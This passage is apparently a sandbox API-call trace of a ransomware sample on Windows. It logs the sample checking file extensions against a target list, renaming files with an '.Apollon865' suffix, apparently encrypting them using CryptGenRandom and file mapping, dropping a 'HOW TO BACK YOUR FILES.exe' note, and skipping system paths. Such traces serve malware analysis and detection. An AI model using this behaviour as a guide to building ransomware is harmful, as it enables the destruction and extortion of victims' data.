	[0061.793] lstrcmpiW (lpString1="g.txt", lpString2="kexic") returned -1
	[0061.793] lstrlenW (lpString="kexis") returned 5
	[0061.793] lstrcmpiW (lpString1="g.txt", lpString2="kexis") returned -1
	[0061.793] lstrlenW (lpString="lgc") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1
	[0061.793] lstrlenW (lpString="lwx") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1
	[0061.793] lstrlenW (lpString="maf") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1
	[0061.793] lstrlenW (lpString="maq") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1
	[0061.793] lstrlenW (lpString="mar") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1
	[0061.793] lstrlenW (lpString="marshal") returned 7
	[0061.793] lstrcmpiW (lpString1="log.txt", lpString2="marshal") returned -1
	[0061.793] lstrlenW (lpString="mas") returned 3
	[0061.793] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1
	[0061.793] lstrlenW (lpString="mav") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1
	[0061.794] lstrlenW (lpString="maw") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1
	[0061.794] lstrlenW (lpString="mdbhtml") returned 7
	[0061.794] lstrcmpiW (lpString1="log.txt", lpString2="mdbhtml") returned -1
	[0061.794] lstrlenW (lpString="mdn") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1
	[0061.794] lstrlenW (lpString="mdt") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1
	[0061.794] lstrlenW (lpString="mfd") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1
	[0061.794] lstrlenW (lpString="mpd") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1
	[0061.794] lstrlenW (lpString="mrg") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1
	[0061.794] lstrlenW (lpString="mud") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1
	[0061.794] lstrlenW (lpString="mwb") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1
	[0061.794] lstrlenW (lpString="myd") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1
	[0061.794] lstrlenW (lpString="ndf") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1
	[0061.794] lstrlenW (lpString="nnt") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1
	[0061.794] lstrlenW (lpString="nrmlib") returned 6
	[0061.794] lstrcmpiW (lpString1="og.txt", lpString2="nrmlib") returned 1
	[0061.794] lstrlenW (lpString="ns2") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1
	[0061.794] lstrlenW (lpString="ns3") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1
	[0061.794] lstrlenW (lpString="ns4") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1
	[0061.794] lstrlenW (lpString="nsf") returned 3
	[0061.794] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1
	[0061.795] lstrlenW (lpString="nv") returned 2
	[0061.795] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1
	[0061.795] lstrlenW (lpString="nv2") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1
	[0061.795] lstrlenW (lpString="nwdb") returned 4
	[0061.795] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1
	[0061.795] lstrlenW (lpString="nyf") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1
	[0061.795] lstrlenW (lpString="odb") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1
	[0061.795] lstrlenW (lpString="odb") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1
	[0061.795] lstrlenW (lpString="oqy") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1
	[0061.795] lstrlenW (lpString="ora") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1
	[0061.795] lstrlenW (lpString="orx") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1
	[0061.795] lstrlenW (lpString="owc") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1
	[0061.795] lstrlenW (lpString="p96") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1
	[0061.795] lstrlenW (lpString="p97") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1
	[0061.795] lstrlenW (lpString="pan") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1
	[0061.795] lstrlenW (lpString="pdb") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1
	[0061.795] lstrlenW (lpString="pdm") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1
	[0061.795] lstrlenW (lpString="pnz") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1
	[0061.795] lstrlenW (lpString="qry") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1
	[0061.795] lstrlenW (lpString="qvd") returned 3
	[0061.795] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1
	[0061.796] lstrlenW (lpString="rbf") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1
	[0061.796] lstrlenW (lpString="rctd") returned 4
	[0061.796] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1
	[0061.796] lstrlenW (lpString="rod") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1
	[0061.796] lstrlenW (lpString="rodx") returned 4
	[0061.796] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1
	[0061.796] lstrlenW (lpString="rpd") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1
	[0061.796] lstrlenW (lpString="rsd") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1
	[0061.796] lstrlenW (lpString="sas7bdat") returned 8
	[0061.796] lstrcmpiW (lpString1="dlog.txt", lpString2="sas7bdat") returned -1
	[0061.796] lstrlenW (lpString="sbf") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1
	[0061.796] lstrlenW (lpString="scx") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1
	[0061.796] lstrlenW (lpString="sdb") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1
	[0061.796] lstrlenW (lpString="sdc") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1
	[0061.796] lstrlenW (lpString="sdf") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1
	[0061.796] lstrlenW (lpString="sis") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1
	[0061.796] lstrlenW (lpString="spq") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1
	[0061.796] lstrlenW (lpString="te") returned 2
	[0061.796] lstrcmpiW (lpString1="xt", lpString2="te") returned 1
	[0061.796] lstrlenW (lpString="teacher") returned 7
	[0061.796] lstrcmpiW (lpString1="log.txt", lpString2="teacher") returned -1
	[0061.796] lstrlenW (lpString="tmd") returned 3
	[0061.796] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1
	[0061.796] lstrlenW (lpString="tps") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1
	[0061.797] lstrlenW (lpString="trc") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1
	[0061.797] lstrlenW (lpString="trc") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1
	[0061.797] lstrlenW (lpString="trm") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1
	[0061.797] lstrlenW (lpString="udb") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="udb") returned -1
	[0061.797] lstrlenW (lpString="udl") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="udl") returned -1
	[0061.797] lstrlenW (lpString="usr") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="usr") returned -1
	[0061.797] lstrlenW (lpString="v12") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="v12") returned -1
	[0061.797] lstrlenW (lpString="vis") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="vis") returned -1
	[0061.797] lstrlenW (lpString="vpd") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="vpd") returned -1
	[0061.797] lstrlenW (lpString="vvv") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="vvv") returned -1
	[0061.797] lstrlenW (lpString="wdb") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="wdb") returned -1
	[0061.797] lstrlenW (lpString="wmdb") returned 4
	[0061.797] lstrcmpiW (lpString1=".txt", lpString2="wmdb") returned -1
	[0061.797] lstrlenW (lpString="wrk") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="wrk") returned -1
	[0061.797] lstrlenW (lpString="xdb") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="xdb") returned -1
	[0061.797] lstrlenW (lpString="xld") returned 3
	[0061.797] lstrcmpiW (lpString1="txt", lpString2="xld") returned -1
	[0061.797] lstrlenW (lpString="xmlff") returned 5
	[0061.797] lstrcmpiW (lpString1="g.txt", lpString2="xmlff") returned -1
	[0061.797] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.Apollon865") returned 81
	[0061.798] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.apollon865"), dwFlags=0x1) returned 1
	[0061.799] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.799] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=12201) returned 1
	[0061.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.799] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.800] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.800] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.800] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32b0, lpName=0x0) returned 0x15c
	[0061.802] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32b0) returned 0x100000
	[0061.817] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0061.818] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.818] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0061.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0061.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.818] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.819] CloseHandle (hObject=0x15c) returned 1
	[0061.819] CloseHandle (hObject=0x14c) returned 1
	[0061.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.819] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eff9150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eff9150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.819] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.819] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eff9150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eff9150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0061.819] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0061.819] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0061.819] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache"
	[0061.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0061.819] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0061.819] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned 52
	[0061.819] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache"
	[0061.819] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.819] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0061.820] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0061.820] GetLastError () returned 0x20
	[0061.820] Sleep (dwMilliseconds=0xc8) 
	[0062.011] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.012] GetLastError () returned 0x20
	[0062.012] Sleep (dwMilliseconds=0xc8) 
	[0062.218] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.218] GetLastError () returned 0x20
	[0062.218] Sleep (dwMilliseconds=0xc8) 
	[0062.422] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0062.422] GetLastError () returned 0x0
	[0062.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.422] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.422] CloseHandle (hObject=0x150) returned 1
	[0062.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.422] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.422] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f20e490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f20e490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.422] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.422] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.422] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.422] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f20e490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f20e490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.422] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.423] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.423] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.423] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.423] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="Apollon865.txt.exe") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2=".") returned 1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="..") returned 1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="windows") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="bootmgr") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="temp") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="pagefile.sys") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="boot") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="ids.txt") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="ntuser.dat") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="perflogs") returned -1
	[0062.423] lstrcmpiW (lpString1="1NBUR4HR", lpString2="MSBuild") returned -1
	[0062.423] lstrlenW (lpString="1NBUR4HR") returned 8
	[0062.423] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*") returned 54
	[0062.423] lstrcpyW (in: lpString1=0x119e672, lpString2="1NBUR4HR" | out: lpString1="1NBUR4HR") returned="1NBUR4HR"
	[0062.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0062.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf4e0
	[0062.423] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0062.423] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f25a750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f25a750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="Apollon865.txt.exe") returned -1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2=".") returned 1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="..") returned 1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="windows") returned -1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="bootmgr") returned -1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="temp") returned -1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="pagefile.sys") returned -1
	[0062.423] lstrcmpiW (lpString1="6ASVN7J7", lpString2="boot") returned -1
	[0062.424] lstrcmpiW (lpString1="6ASVN7J7", lpString2="ids.txt") returned -1
	[0062.424] lstrcmpiW (lpString1="6ASVN7J7", lpString2="ntuser.dat") returned -1
	[0062.424] lstrcmpiW (lpString1="6ASVN7J7", lpString2="perflogs") returned -1
	[0062.424] lstrcmpiW (lpString1="6ASVN7J7", lpString2="MSBuild") returned -1
	[0062.424] lstrlenW (lpString="6ASVN7J7") returned 8
	[0062.424] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 61
	[0062.424] lstrcpyW (in: lpString1=0x119e672, lpString2="6ASVN7J7" | out: lpString1="6ASVN7J7") returned="6ASVN7J7"
	[0062.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0062.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf898
	[0062.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0062.424] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2345f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2345f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="Apollon865.txt.exe") returned 1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2=".") returned 1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="..") returned 1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="windows") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="bootmgr") returned 1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="temp") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="pagefile.sys") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="boot") returned 1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="ids.txt") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="ntuser.dat") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="perflogs") returned -1
	[0062.424] lstrcmpiW (lpString1="D68G7BIJ", lpString2="MSBuild") returned -1
	[0062.424] lstrlenW (lpString="D68G7BIJ") returned 8
	[0062.424] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 61
	[0062.424] lstrcpyW (in: lpString1=0x119e672, lpString2="D68G7BIJ" | out: lpString1="D68G7BIJ") returned="D68G7BIJ"
	[0062.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
